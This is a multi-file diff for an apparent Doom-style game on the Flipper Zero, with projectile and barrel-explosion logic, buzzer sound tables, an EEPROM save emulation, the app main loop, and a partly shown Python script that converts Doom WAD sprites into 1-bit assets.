Projectile* ProjectileManager::FireProjectile(Entity* owner, int16_t x, int16_t y, uint8_t angle)
{
for (Projectile& p : projectiles)
{
if(p.life == 0)
{
if (owner == &Game::player)
p.ownerId = Projectile::playerOwnerId;
else
{
for (uint8_t n = 0; n < EnemyManager::maxEnemies; n++)
{
if (&EnemyManager::enemies[n] == owner)
{
p.ownerId = n;
break;
}
}
}
p.life = 255;
p.x = x;
p.y = y;
p.angle = angle;
return &p;
}
}
return nullptr;
}
Entity* Projectile::GetOwner() const
{
if (ownerId == playerOwnerId)
return &Game::player;
return &EnemyManager::enemies[ownerId];
}
void ProjectileManager::Update()
{
for (Projectile& p : projectiles)
{
if(p.life > 0)
{
p.life--;
int16_t deltaX = FixedCos(p.angle) / 4;
int16_t deltaY = FixedSin(p.angle) / 4;
p.x += deltaX;
p.y += deltaY;
bool hitAnything = false;
Entity* owner = p.GetOwner();
if (Map::IsBlockedAtWorldPosition(p.x, p.y))
{
uint8_t cellX = p.x / CELL_SIZE;
uint8_t cellY = p.y / CELL_SIZE;
if (Map::GetCellSafe(cellX, cellY) == CellType::Urn)
{
// Exploding barrel: splash damage to everything nearby
int16_t barrelX = cellX * CELL_SIZE + CELL_SIZE / 2;
int16_t barrelY = cellY * CELL_SIZE + CELL_SIZE / 2;
constexpr int16_t blastRadius = CELL_SIZE + CELL_SIZE / 2;
constexpr uint8_t enemyBlastDamage = 40;
constexpr uint8_t playerBlastDamage = 15;
Map::SetCell(cellX, cellY, CellType::Empty);
ParticleSystemManager::CreateExplosion(barrelX, barrelY, true);
for (uint8_t n = 0; n < EnemyManager::maxEnemies; n++)
{
Enemy& enemy = EnemyManager::enemies[n];
if (!enemy.IsValid())
continue;
int16_t dx = enemy.x - barrelX;
int16_t dy = enemy.y - barrelY;
if (ABS(dx) < blastRadius && ABS(dy) < blastRadius)
{
enemy.Damage(enemyBlastDamage);
}
}
{
int16_t dx = Game::player.x - barrelX;
int16_t dy = Game::player.y - barrelY;
if (ABS(dx) < blastRadius && ABS(dy) < blastRadius)
{
// barrels hurt but never kill the player outright
uint8_t dmg = playerBlastDamage;
if (Game::player.hp <= dmg)
dmg = Game::player.hp > 1 ? (uint8_t)(Game::player.hp - 1) : 0;
if (dmg)
Game::player.Damage(dmg);
}
}
// occasionally the barrel leaves a pickup behind
switch ((Random() % 6))
{
case 0:
Map::SetCell(cellX, cellY, CellType::Potion);
break;
case 1:
Map::SetCell(cellX, cellY, CellType::Coins);
break;
}
Platform::PlaySound(Sounds::Kill);
}
else
{
Platform::PlaySound(Sounds::Hit);
}
hitAnything = true;
}
else
{
if (owner == &Game::player)
{
Enemy* overlappingEnemy = EnemyManager::GetOverlappingEnemy(p.x, p.y);
if (overlappingEnemy)
{
overlappingEnemy->Damage(Player::attackStrength);
hitAnything = true;
}
}
else if(Game::player.IsOverlappingPoint(p.x, p.y))
{
const EnemyArchetype* enemyArchetype = ((Enemy*)owner)->GetArchetype();
if (enemyArchetype)
{
Game::player.Damage(enemyArchetype->GetAttackStrength());
if (Game::player.hp == 0)
{
Game::stats.killedBy = ((Enemy*)owner)->GetType();
}
}
hitAnything = true;
}
}
if (hitAnything)
{
ParticleSystemManager::CreateExplosion(p.x - deltaX, p.y - deltaY);
p.life = 0;
}
}
}
}
void ProjectileManager::Init()
{
for (Projectile& p : projectiles)
{
p.life = 0;
}
}
void ProjectileManager::Draw()
{
for(Projectile& p : projectiles)
{
if (p.life > 0)
{
Renderer::DrawObject(p.ownerId == Projectile::playerOwnerId ? projectileSpriteData : enemyProjectileSpriteData, p.x, p.y, 32, AnchorType::BelowCenter);
}
}
}
@@ -0,0 +1,28 @@
#pragma once
#include <stdint.h>
#include "game/Entity.h"
class Projectile : public Entity
{
public:
uint8_t angle;
uint8_t life;
uint8_t ownerId;
static constexpr uint8_t playerOwnerId = 0xff;
Entity* GetOwner() const;
};
class ProjectileManager
{
public:
static constexpr int MAX_PROJECTILES = 8;
static Projectile projectiles[MAX_PROJECTILES];
static Projectile* FireProjectile(Entity* owner, int16_t x, int16_t y, uint8_t angle);
static void Init();
static void Draw();
static void Update();
};
@@ -0,0 +1,60 @@
#include "game/Sounds.h"
// Shotgun blast: sharp crack followed by a fast descending boom with a
// short pump echo. All frequencies within the buzzer's 100-2500 Hz range.
const uint16_t Sounds::Attack[] PROGMEM = {
900, 2, 500, 3, 320, 4, 230, 5,
180, 6, 150, 7, 128, 9, 112, 11, 104, 13, 100, 15,
0, 8,
170, 4, 135, 6, 112, 9, 100, 14,
TONES_END
};
const uint16_t Sounds::Kill[] PROGMEM = {
0x0151,0x0007,0x0000,0x0015,0x018d,0x0007,0x0000,0x0007,0x014b,0x0007,0x0136,0x0007,0x0146,0x0007,0x0169,0x0007,0x019e,0x0007,0x007f,0x0007,0x0185,
0x0007,0x0228,0x0007,0x026d,0x0007,0x02fc,0x0007,0x02e0,0x0007,0x01fd,0x0007,0x0219,0x0007,0x033c,0x0007,0x00e7,0x0007,0x0281,0x0007,0x026d,
0x000e,0x052d,0x000e,0x04da,0x000e,0x011c,0x0007,0x0387,0x0007,0x0360,0x0007,0x033c,0x0007,0x0387,0x0007,0x02ad,0x000e,0x02c6,0x0007,0x010c,
0x000e,0x02e0,0x0007,0x02c6,0x0007,0x0296,0x000e,0x0281,0x0007,0x02ad,0x0007,0x02c6,0x0007,0x02e0,0x0007,0x00e1,0x0007,0x031b,0x0007,0x0248,
0x0007,0x0219,0x0007,0x01f1,0x0007,0x01d9,0x000e,0x01f1,0x0007,0x020b,0x0007,0x02ad,0x0007,0x00d1,0x0007,0x0248,0x0007,0x0238,0x0007,0x0219,
0x0007,0x0228,0x000e,0x020b,0x0007,0x01e5,0x0007,0x01d9,0x0007, TONES_END
};
const uint16_t Sounds::Hit[] PROGMEM = {
0x0195,0x0007,0x0000,0x0015,0x018d,0x0007,0x0000,0x0007,0x0416,0x0007,0x007f,0x0007,0x0000,0x000e,0x0177,0x0007,0x0000,0x001d,0x0146,0x0007,0x0140,
0x0007,0x013b,0x0007,0x0000,0x0047,0x00e7,0x0007,0x00e4,0x0007,0x0000,0x0015,0x009f,0x0007,0x009d,0x0007,0x0000,0x0088,0x0088,0x0007, TONES_END
};
const uint16_t Sounds::PlayerDeath[] PROGMEM = {
0x01b0,0x0007,0x0000,0x0015,0x00c8,0x0007,0x0000,0x0007,0x03b2,0x0007,0x0360,0x0007,0x02e0,0x0007,0x0296,0x0007,0x0248,0x0007,0x0219,0x0007,0x01fd,
0x0007,0x0450,0x0007,0x01ce,0x0007,0x01b9,0x0007,0x01a7,0x0007,0x0450,0x0007,0x017e,0x0007,0x0163,0x0007,0x0140,0x0007,0x052d,0x0007,0x0110,
0x0007,0x0109,0x0007,0x0102,0x0007,0x00f8,0x0007,0x04da,0x0007,0x00ca,0x0007,0x00bb,0x0007,0x00b3,0x0007,0x0491,0x0007,0x0096,0x0007,0x00d8,
0x0007,0x0000,0x001d,0x0296,0x0007,0x0000,0x002b,0x0228,0x0007,0x0000,0x0024,0x00fb,0x000e, TONES_END
};
const uint16_t Sounds::SpotPlayer[] PROGMEM = {
0x0110,0x0007,0x0000,0x0015,0x018d,0x0007,0x0000,0x0007,0x01d9,0x0007,0x01fd,0x0007,0x020b,0x000e,0x0228,0x000e,0x0238,0x0007,0x0248,0x0007,0x026d,
0x0007,0x0281,0x0032,0x026d,0x0015,0x0248,0x0007,0x0238,0x0007,0x01b0,0x0007,0x017e,0x0007,0x0169,0x0007,0x014b,0x0007,0x0136,0x0007,0x0131,
0x0007,0x0102,0x0007,0x00f8,0x0007,0x00f2,0x0007,0x00e9,0x0007,0x00e4,0x0007,0x00d8,0x0007,0x00bd,0x0007,0x00ab,0x0007,0x009d,0x0007,0x0096,
0x0007,0x0094,0x0007,0x0092,0x0007,0x008e,0x0007,0x008b,0x0007,0x008a,0x0007,0x0089,0x0007,0x0088,0x0007,0x0087,0x0007,0x0086,0x0007,0x0085,
0x0007,0x0084,0x0007,0x0083,0x0007,0x0082,0x0007,0x0081,0x000e,0x0081,0x0007,0x0080,0x0007,0x007e,0x0007,0x007d,0x0007,0x007d,0x0007,0x0000,
0x0040,0x0090,0x0032, TONES_END
};
const uint16_t Sounds::Shoot[] PROGMEM = {
0x02e0,0x0007,0x0000,0x0015,0x03e2,0x0007,0x0000,0x0007,0x04da,0x0015,0x00b4,0x0007,0x01d9,0x0007,0x0000,0x0007,0x01f1,0x000e,0x0080,0x0007,0x01f1,
0x0007,0x0000,0x000e,0x025a,0x0007,0x00e4,0x0007,0x0000,0x0015,0x00c1,0x0007,0x0000,0x000e,0x01e5,0x0007,0x0000,0x0007,0x00ac,0x0007,0x0000,
0x0015,0x0091,0x0007, TONES_END
};
const uint16_t Sounds::Pickup[] PROGMEM = {
0x0120,0x0007,0x0000,0x0015,0x00e9,0x0007,0x0000,0x0007,0x0156,0x0015,0x0000,0x0032,0x0185,0x001d,0x0000,0x0040,0x020b,0x0015,0x0000,0x0032,0x0387,
0x0024,0x0000,0x0040,0x0387,0x002b,0x0000,0x0040,0x03b2,0x0032, TONES_END
};
const uint16_t Sounds::Ouch[] PROGMEM = {
0x01ce,0x0007,0x0000,0x0015,0x018d,0x0007,0x0000,0x0007,0x0416,0x0007,0x0491,0x0007,0x03b2,0x0007,0x04da,0x0007,0x052d,0x0015,0x04da,0x0007,0x0491,
0x0007,0x02e0,0x0007,0x0296,0x0007,0x025a,0x0007,0x01f1,0x0007,0x0219,0x0007,0x0000,0x0007,0x01ce,0x0007,0x007c,0x000e,0x015c,0x0007,0x007d,
0x000e,0x0120,0x0007,0x007d,0x000e,0x00ef,0x0007,0x00d5,0x0007,0x00ca,0x0007,0x0000,0x0007,0x00c1,0x0007,0x00b9,0x0007,0x00b3,0x0007,0x00a9,
0x0007,0x007d,0x0007,0x007e,0x0007,0x0093,0x0007,0x007e,0x0007,0x0000,0x0007,0x0089,0x0007,0x0085,0x0007,0x0082,0x0007,0x0080,0x0007,0x007e,
0x0007,0x007d,0x0007, TONES_END
};
@@ -0,0 +1,18 @@
#pragma once
#include <stdint.h>
#include "game/Defines.h"
#define TONES_END 0x8000
class Sounds
{
public:
static const uint16_t Attack[];
static const uint16_t Kill[];
static const uint16_t Hit[];
static const uint16_t PlayerDeath[];
static const uint16_t SpotPlayer[];
static const uint16_t Shoot[];
static const uint16_t Pickup[];
static const uint16_t Ouch[];
};
@@ -0,0 +1,56 @@
#pragma once
#include "game/Defines.h"
// Tech-base wall panel: top/bottom seams with vertical panel gaps
const uint8_t vectorTexture0[] PROGMEM =
{
6,
0, 18, 128, 18,
0, 110, 128, 110,
32, 18, 32, 110,
64, 18, 64, 110,
96, 18, 96, 110,
48, 64, 80, 64,
};
const uint8_t vectorTexture1[] PROGMEM =
{
6,
0, 16, 128, 16 ,
0, 112, 128, 112 ,
0, 16, 0, 112,
0, 16, 128, 112,
0, 112, 128, 16,
128, 16, 128, 112,
/* 16, 16, 112, 16 ,
16, 16, 16, 128,
48, 16, 48, 128,
80, 16, 80, 128,
112, 16, 112, 128,*/
};
const uint8_t vectorTexture2[] PROGMEM =
{
12,
38,13,90,13,
38,13,64,38,
64,38,90,13,
13,38,38,64,
13,38,13,90,
13,90,38,64,
38,115,90,115,
38,115,64,90,
64,90,90,115,
90,64,115,38,
90,64,115,90,
115,38,115,90,
};
const uint8_t* const textures[] PROGMEM =
{
vectorTexture0,
vectorTexture1,
vectorTexture2,
};
@@ -0,0 +1,235 @@
#pragma once
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <furi.h>
#include <storage/storage.h>
#define EEPROM_LIB_PATH APP_DATA_PATH("eeprom.bin")
class EEPROMClass {
public:
static constexpr int kSize = 16;
static constexpr size_t kPathSize = 128;
EEPROMClass()
: loaded_(false)
, dirty_(false)
, path_resolved_(false) {
memset(mem_, 0x00, kSize);
memset(file_path_, 0x00, kPathSize);
strncpy(file_path_, EEPROM_LIB_PATH, kPathSize - 1);
}
void begin() {
ensureLoaded_();
}
int length() const {
return kSize;
}
uint8_t read(int addr) const {
ensureLoaded_();
if(addr < 0 || addr >= kSize) return 0;
return mem_[addr];
}
void write(int addr, uint8_t value) {
ensureLoaded_();
if(addr < 0 || addr >= kSize) return;
mem_[addr] = value;
dirty_ = true;
}
void update(int addr, uint8_t value) {
ensureLoaded_();
if(addr < 0 || addr >= kSize) return;
if(mem_[addr] != value) {
mem_[addr] = value;
dirty_ = true;
}
}
template <typename T>
T& get(int addr, T& out) const {
ensureLoaded_();
if(addr < 0 || addr + (int)sizeof(T) > kSize) return out;
memcpy(&out, mem_ + addr, sizeof(T));
return out;
}
template <typename T>
const T& put(int addr, const T& in) {
ensureLoaded_();
if(addr < 0 || addr + (int)sizeof(T) > kSize) return in;
bool changed = false;
const uint8_t* src = reinterpret_cast<const uint8_t*>(&in);
for(size_t i = 0; i < sizeof(T); i++) {
int a = addr + (int)i;
if(mem_[a] != src[i]) {
mem_[a] = src[i];
changed = true;
}
}
if(changed) dirty_ = true;
return in;
}
void clear(uint8_t value = 0) {
ensureLoaded_();
memset(mem_, value, kSize);
dirty_ = true;
}
bool commit() {
ensureLoaded_();
if(!dirty_) return true;
const bool ok = writeFile_();
if(ok) dirty_ = false;
return ok;
}
bool isDirty() const {
return dirty_;
}
private:
bool resolvePathIfNeeded_(Storage* storage) const {
if(path_resolved_) return true;
if(!storage) return false;
FuriString* path = furi_string_alloc_set_str(file_path_);
if(!path) return false;
storage_common_resolve_path_and_ensure_app_directory(storage, path);
const char* resolved = furi_string_get_cstr(path);
bool ok = false;
if(resolved && resolved[0]) {
const size_t len = strlen(resolved);
if(len < kPathSize) {
memcpy(file_path_, resolved, len + 1);
path_resolved_ = true;
ok = true;
}
}
furi_string_free(path);
return ok;
}
static void ensureDefaultDir_(Storage* storage) {
if(!storage) return;
(void)storage_common_mkdir(storage, STORAGE_APP_DATA_PATH_PREFIX);
}
void ensureLoaded_() const {
if(loaded_) return;
Storage* storage = (Storage*)furi_record_open(RECORD_STORAGE);
if(!storage) {
return;
}
(void)resolvePathIfNeeded_(storage);
ensureDefaultDir_(storage);
File* file = storage_file_alloc(storage);
if(!file) {
furi_record_close(RECORD_STORAGE);
return;
}
memset(mem_, 0x00, kSize);
bool ok = storage_file_open(file, file_path_, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS);
if(ok) {
const uint64_t file_size = storage_file_size(file);
bool need_rewrite = false;
(void)storage_file_seek(file, 0, true);
const size_t rd = storage_file_read(file, mem_, kSize);
if(rd < (size_t)kSize) {
need_rewrite = true;
}
if(file_size != (uint64_t)kSize) {
need_rewrite = true;
}
if(need_rewrite) {
(void)storage_file_seek(file, 0, true);
const size_t wr = storage_file_write(file, mem_, kSize);
if(wr == (size_t)kSize) {
(void)storage_file_truncate(file);
(void)storage_file_sync(file);
}
}
(void)storage_file_close(file);
} else {
(void)storage_file_close(file);
}
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
loaded_ = true;
dirty_ = false;
}
bool writeFile_() const {
Storage* storage = (Storage*)furi_record_open(RECORD_STORAGE);
if(!storage) return false;
if(!path_resolved_ && !resolvePathIfNeeded_(storage)) {
furi_record_close(RECORD_STORAGE);
return false;
}
ensureDefaultDir_(storage);
File* file = storage_file_alloc(storage);
if(!file) {
furi_record_close(RECORD_STORAGE);
return false;
}
bool ok = storage_file_open(file, file_path_, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS);
bool success = false;
if(ok) {
(void)storage_file_seek(file, 0, true);
size_t wr = storage_file_write(file, mem_, kSize);
(void)storage_file_truncate(file);
(void)storage_file_sync(file);
(void)storage_file_close(file);
success = (wr == (size_t)kSize);
} else {
(void)storage_file_close(file);
}
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
return success;
}
private:
mutable uint8_t mem_[kSize];
mutable bool loaded_;
mutable bool dirty_;
mutable bool path_resolved_;
mutable char file_path_[kPathSize];
};
#if (__cplusplus >= 201703L)
inline EEPROMClass EEPROM;
#else
extern EEPROMClass EEPROM;
#ifdef EEPROM_DEFINE_INSTANCE
EEPROMClass EEPROM;
#endif
#endif
@@ -0,0 +1,36 @@
//lib/flipper.h
#pragma once
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdbool.h>
#include <stdint.h>
#define DISPLAY_WIDTH 128
#define DISPLAY_HEIGHT 64
#define BUFFER_SIZE (DISPLAY_WIDTH * DISPLAY_HEIGHT / 8)
typedef struct {
uint8_t back_buffer[BUFFER_SIZE];
uint8_t front_buffer[BUFFER_SIZE];
Gui* gui;
Canvas* canvas;
FuriMutex* fb_mutex;
volatile uint8_t input_state;
volatile bool exit_requested;
volatile bool audio_enabled;
// back-hold логика
bool back_hold_active;
uint16_t back_hold_start;
bool back_hold_handled;
// input pubsub
FuriPubSub* input_events;
FuriPubSubSubscription* input_sub;
} FlipperState;
extern FlipperState* g_state;
+261
View File
@@ -0,0 +1,261 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <string.h>
#include "lib/flipper.h"
#include "lib/EEPROM.h"
#include "game/Game.h"
#include "game/Platform.h"
#define TARGET_FRAMERATE 30
#define HOLD_TIME_MS 300
FlipperState* g_state = NULL;
static volatile uint32_t s_input_cb_inflight = 0;
static volatile uint32_t s_fb_cb_inflight = 0;
static volatile uint8_t s_back_pressed = 0;
static inline void wait_inflight_zero(volatile uint32_t* counter) {
while(__atomic_load_n(counter, __ATOMIC_ACQUIRE) != 0) {
furi_delay_ms(1);
}
}
inline bool audio_enable(){
return !furi_hal_rtc_is_flag_set(FuriHalRtcFlagStealthMode);
}
static void framebuffer_commit_callback(
uint8_t* data,
size_t size,
CanvasOrientation orientation,
void* context) {
__atomic_fetch_add(&s_fb_cb_inflight, 1, __ATOMIC_RELAXED);
FlipperState* state = (FlipperState*)context;
if(!state || !data || size < BUFFER_SIZE) {
__atomic_fetch_sub(&s_fb_cb_inflight, 1, __ATOMIC_RELAXED);
return;
}
(void)orientation;
if(furi_mutex_acquire(state->fb_mutex, 0) != FuriStatusOk) {
__atomic_fetch_sub(&s_fb_cb_inflight, 1, __ATOMIC_RELAXED);
return;
}
const uint8_t* src = state->front_buffer;
for(size_t i = 0; i < BUFFER_SIZE; i++) {
data[i] = (uint8_t)(src[i] ^ 0xFF);
}
furi_mutex_release(state->fb_mutex);
__atomic_fetch_sub(&s_fb_cb_inflight, 1, __ATOMIC_RELAXED);
}
static void input_events_callback(const void* value, void* ctx) {
if(!value || !ctx) return;
__atomic_fetch_add(&s_input_cb_inflight, 1, __ATOMIC_RELAXED);
FlipperState* state = (FlipperState*)ctx;
const InputEvent* event = (const InputEvent*)value;
uint8_t bit = 0;
switch(event->key) {
case InputKeyUp:
bit = INPUT_UP;
break;
case InputKeyDown:
bit = INPUT_DOWN;
break;
case InputKeyLeft:
bit = INPUT_LEFT;
break;
case InputKeyRight:
bit = INPUT_RIGHT;
break;
case InputKeyOk:
bit = INPUT_B;
break;
case InputKeyBack:
if((event->type == InputTypePress) || (event->type == InputTypeRepeat)) {
(void)__atomic_store_n(&s_back_pressed, 1, __ATOMIC_RELAXED);
} else if(event->type == InputTypeRelease) {
(void)__atomic_store_n(&s_back_pressed, 0, __ATOMIC_RELAXED);
}
break;
default:
break;
}
if(state && bit) {
if((event->type == InputTypePress) || (event->type == InputTypeRepeat)) {
(void)__atomic_fetch_or((uint8_t*)&state->input_state, bit, __ATOMIC_RELAXED);
} else if(event->type == InputTypeRelease) {
(void)__atomic_fetch_and(
(uint8_t*)&state->input_state, (uint8_t)~bit, __ATOMIC_RELAXED);
}
}
__atomic_fetch_sub(&s_input_cb_inflight, 1, __ATOMIC_RELAXED);
}
extern "C" int32_t flipdoom_app(void* p) {
UNUSED(p);
Gui* gui = NULL;
Canvas* canvas = NULL;
FuriPubSub* input_events = NULL;
FuriPubSubSubscription* input_sub = NULL;
FlipperState* st = (FlipperState*)malloc(sizeof(FlipperState));
if(!st) return -1;
memset(st, 0, sizeof(FlipperState));
g_state = st;
do {
st->fb_mutex = furi_mutex_alloc(FuriMutexTypeNormal);
if(!st->fb_mutex) break;
memset(st->back_buffer, 0x00, BUFFER_SIZE);
memset(st->front_buffer, 0x00, BUFFER_SIZE);
EEPROM.begin();
furi_delay_ms(50);
Platform::SetAudioEnabled(audio_enable());
Game::menu.ReadSave();
gui = (Gui*)furi_record_open(RECORD_GUI);
if(!gui) break;
st->gui = gui;
gui_add_framebuffer_callback(gui, framebuffer_commit_callback, st);
canvas = gui_direct_draw_acquire(gui);
if(!canvas) break;
st->canvas = canvas;
input_events = (FuriPubSub*)furi_record_open(RECORD_INPUT_EVENTS);
if(!input_events) break;
st->input_events = input_events;
input_sub = furi_pubsub_subscribe(input_events, input_events_callback, st);
if(!input_sub) break;
st->input_sub = input_sub;
const uint32_t tick_hz = furi_kernel_get_tick_frequency();
uint32_t period_ticks = (tick_hz + (TARGET_FRAMERATE / 2)) / TARGET_FRAMERATE;
if(period_ticks == 0) period_ticks = 1;
const uint32_t hold_ticks = (uint32_t)((HOLD_TIME_MS * tick_hz + 999u) / 1000u);
uint32_t next_tick = furi_get_tick();
bool back_was_pressed = false;
bool back_hold_fired = false;
uint32_t back_press_tick = 0;
while(!st->exit_requested) {
uint32_t now = furi_get_tick();
// frame pacing
if((int32_t)(now - next_tick) < 0) {
uint32_t dt_ticks = next_tick - now;
uint32_t dt_ms = (dt_ticks * 1000u) / tick_hz;
furi_delay_ms(dt_ms ? dt_ms : 1);
continue;
}
if((int32_t)(now - next_tick) > (int32_t)(period_ticks * 2)) {
next_tick = now;
}
next_tick += period_ticks;
const bool back_pressed = (__atomic_load_n(&s_back_pressed, __ATOMIC_RELAXED) != 0);
// BACK hold logic
if(!back_pressed) {
back_was_pressed = false;
back_hold_fired = false;
} else {
if(!back_was_pressed) {
back_was_pressed = true;
back_press_tick = now;
back_hold_fired = false;
}
if(!back_hold_fired && ((uint32_t)(now - back_press_tick) >= hold_ticks)) {
back_hold_fired = true;
if(Game::InMenu())
st->exit_requested = true;
else
Game::GoToMenu();
}
}
if(st->exit_requested) break;
Game::Tick();
Game::Draw();
// swap for framebuffer callback
furi_mutex_acquire(st->fb_mutex, FuriWaitForever);
memcpy(st->front_buffer, st->back_buffer, BUFFER_SIZE);
furi_mutex_release(st->fb_mutex);
canvas_commit(canvas);
}
} while(false);
Game::menu.WriteSave();
if(input_sub && input_events) {
furi_pubsub_unsubscribe(input_events, input_sub);
input_sub = NULL;
}
st->input_sub = NULL;
wait_inflight_zero(&s_input_cb_inflight);
(void)__atomic_store_n(&s_back_pressed, 0, __ATOMIC_RELAXED);
if(input_events) {
furi_record_close(RECORD_INPUT_EVENTS);
input_events = NULL;
}
st->input_events = NULL;
if(gui) {
gui_remove_framebuffer_callback(gui, framebuffer_commit_callback, st);
}
wait_inflight_zero(&s_fb_cb_inflight);
if(gui) {
if(canvas) {
gui_direct_draw_release(gui);
canvas = NULL;
}
furi_record_close(RECORD_GUI);
gui = NULL;
}
st->gui = NULL;
st->canvas = NULL;
if(st->fb_mutex) {
furi_mutex_free(st->fb_mutex);
st->fb_mutex = NULL;
}
Platform::SetAudioEnabled(false);
free(st);
g_state = NULL;
return 0;
}
@@ -0,0 +1,521 @@
#!/usr/bin/env python3
"""
extract_doom_assets.py
Reads the user's own Doom shareware IWAD (Doom1.WAAD is freely distributable
as a whole) and converts a selection of its sprites into 1-bit assets in the
FlipperCatacombs engine formats. Nothing from the WAD is stored in this
repository: the header is generated locally at build time from the WAD the
user already has.
Usage:
python3 tools/extract_doom_assets.py <path/to/Doom1.WAD> [output_header]
Output (default): game/Generated/DoomSprites.inc.h
Engine formats
--------------
1) Scaled sprite (16x16), uint16_t array, per frame:
16 columns x 2 words: [transparency mask, colour], bit v = row v (bit0=top)
2) Page sprite (Platform::DrawSprite): uint8_t array:
w, h, then per page (8 rows), per column: [colour byte, mask byte]
(bit0 = top row of the page)
3) Solid bitmap (Platform::DrawSolidBitmap): uint8_t array:
w, h, then per page, per column: colour byte where bit=1 means BLACK
(DrawSolidBitmap writes fill = ~src)
4) HUD icon: 8 raw page bytes (bit=1 -> white pixel)
"""
import struct
import sys
import os
# ---------------------------------------------------------------- WAD parsing
class Wad:
def __init__(self, path):
self.data = open(path, "rb").read()
ident, numlumps, diroff = struct.unpack_from("<4sII", self.data, 0)
if ident not in (b"IWAD", b"PWAD"):
raise ValueError("Not a WAD file")
self.lumps = {}
for i in range(numlumps):
off, size, name = struct.unpack_from("<II8s", self.data, diroff + 16 * i)
name = name.rstrip(b"\0").decode("ascii", "replace")
# keep first occurrence (IWAD order)
if name not in self.lumps:
self.lumps[name] = (off, size)
def lump(self, name):
off, size = self.lumps[name]
return self.data[off : off + size]
def has(self, name):
return name in self.lumps
def load_palette(wad):
pal = wad.lump("PLAYPAL")[:768]
grays = []
for i in range(256):
r, g, b = pal[i * 3], pal[i * 3 + 1], pal[i * 3 + 2]
grays.append(0.299 * r + 0.587 * g + 0.114 * b)
return grays
def decode_picture(wad, name, grays):
"""Decode Doom picture format -> (w, h, pixels) where pixels is a list of
rows; each entry is None (transparent) or gray 0..255."""
raw = wad.lump(name)
w, h, _lo, _to = struct.unpack_from("<hhhh", raw, 0)
colofs = struct.unpack_from("<%di" % w, raw, 8)
pix = [[None] * w for _ in range(h)]
for x in range(w):
p = colofs[x]
while raw[p] != 0xFF:
topdelta = raw[p]
length = raw[p + 1]
p += 3 # topdelta, length, pad
for i in range(length):
y = topdelta + i
if 0 <= y < h:
pix[y][x] = grays[raw[p]]
p += 1
p += 1 # trailing pad
return w, h, pix
# ------------------------------------------------------------- image helpers
BAYER4 = [
[0, 8, 2, 10],
[12, 4, 14, 6],
[3, 11, 1, 9],
[15, 7, 13, 5],
]
def bbox(pix):
xs, ys = [], []
for y, row in enumerate(pix):
for x, v in enumerate(row):
if v is not None:
xs.append(x)
ys.append(y)
return min(xs), min(ys), max(xs) + 1, max(ys) + 1
def crop(pix, x0, y0, x1, y1):
return [row[x0:x1] for row in pix[y0:y1]]
def box_resize(pix, nw, nh):
"""Box-filter resize of (gray|None) grid; alpha = coverage."""
h = len(pix)
w = len(pix[0])
out_gray = [[0.0] * nw for _ in range(nh)]
out_alpha = [[0.0] * nw for _ in range(nh)]
for ny in range(nh):
sy0 = ny * h / nh
sy1 = (ny + 1) * h / nh
for nx in range(nw):
sx0 = nx * w / nw
sx1 = (nx + 1) * w / nw
acc_g = acc_a = acc_w = 0.0
y = int(sy0)
while y < sy1 and y < h:
wy = min(sy1, y + 1) - max(sy0, y)
x = int(sx0)
while x < sx1 and x < w:
wx = min(sx1, x + 1) - max(sx0, x)
weight = wx * wy
acc_w += weight
v = pix[y][x]
if v is not None:
acc_a += weight
acc_g += weight * v
x += 1
y += 1
if acc_w > 0 and acc_a > 0:
out_gray[ny][nx] = acc_g / acc_a
out_alpha[ny][nx] = acc_a / acc_w
return out_gray, out_alpha
def normalize(gray, alpha, thresh=0.5):
"""Per-sprite contrast stretch over opaque pixels."""
vals = [
gray[y][x]
for y in range(len(gray))
for x in range(len(gray[0]))
if alpha[y][x] >= thresh
]
if not vals:
return gray
lo, hi = min(vals), max(vals)
if hi - lo < 1e-6:
hi = lo + 1.0
return [
[(v - lo) * 255.0 / (hi - lo) for v in row]
for row in gray
]
def to_1bit(gray, alpha, bias=0.0):
"""3-tone quantization (black / 50% checker / white) for clean tiny
sprites. Returns (colour, mask) row-major bools."""
h, w = len(gray), len(gray[0])
colour = [[False] * w for _ in range(h)]
mask = [[False] * w for _ in range(h)]
for y in range(h):
for x in range(w):
if alpha[y][x] >= 0.5:
mask[y][x] = True
v = gray[y][x] + bias
if v < 80:
colour[y][x] = False
elif v < 175:
colour[y][x] = ((x + y) & 1) == 0
else:
colour[y][x] = True
return colour, mask
def fit_grid(pix, size, valign, hpad=0):
"""Crop to bbox, keep aspect, fit into size x size grid.
valign: 'bottom' or 'center'."""
x0, y0, x1, y1 = bbox(pix)
pix = crop(pix, x0, y0, x1, y1)
w = x1 - x0
h = y1 - y0
avail = size - hpad * 2
if w >= h:
nw = avail
nh = max(1, round(h * avail / w))
else:
nh = avail
nw = max(1, round(w * avail / h))
gray, alpha = box_resize(pix, nw, nh)
# paste into size x size
g = [[0.0] * size for _ in range(size)]
a = [[0.0] * size for _ in range(size)]
ox = (size - nw) // 2
oy = (size - nh) if valign == "bottom" else (size - nh) // 2
for y in range(nh):
for x in range(nw):
g[oy + y][ox + x] = gray[y][x]
a[oy + y][ox + x] = alpha[y][x]
return g, a
# ------------------------------------------------------------ format emitters
def emit_scaled16(frames):
"""frames: list of (colour, mask) 16x16 row-major -> list of uint16 words."""
words = []
for colour, mask in frames:
for x in range(16):
t = c = 0
for y in range(16):
if mask[y][x]:
t |= 1 << y
if colour[y][x]:
c |= 1 << y
words.append(t)
words.append(c)
return words
def emit_page_sprite(colour, mask):
"""-> list of bytes: w, h, then per page per column [colour, mask]."""
h, w = len(colour), len(colour[0])
pages = (h + 7) // 8
out = [w, h]
for page in range(pages):
for x in range(w):
cb = mb = 0
for bit in range(8):
y = page * 8 + bit
if y < h and mask[y][x]:
mb |= 1 << bit
if colour[y][x]:
cb |= 1 << bit
out.append(cb)
out.append(mb)
return out
def emit_solid_bitmap(colour):
"""DrawSolidBitmap: bit=1 -> black. colour True = white pixel."""
h, w = len(colour), len(colour[0])
pages = (h + 7) // 8
out = [w, h]
for page in range(pages):
for x in range(w):
b = 0
for bit in range(8):
y = page * 8 + bit
if y < h and not colour[y][x]:
b |= 1 << bit
out.append(b)
return out
def fmt_words(words, per_line=16):
lines = []
for i in range(0, len(words), per_line):
lines.append(",".join("0x%x" % v for v in words[i : i + per_line]))
return ",\n\t".join(lines)
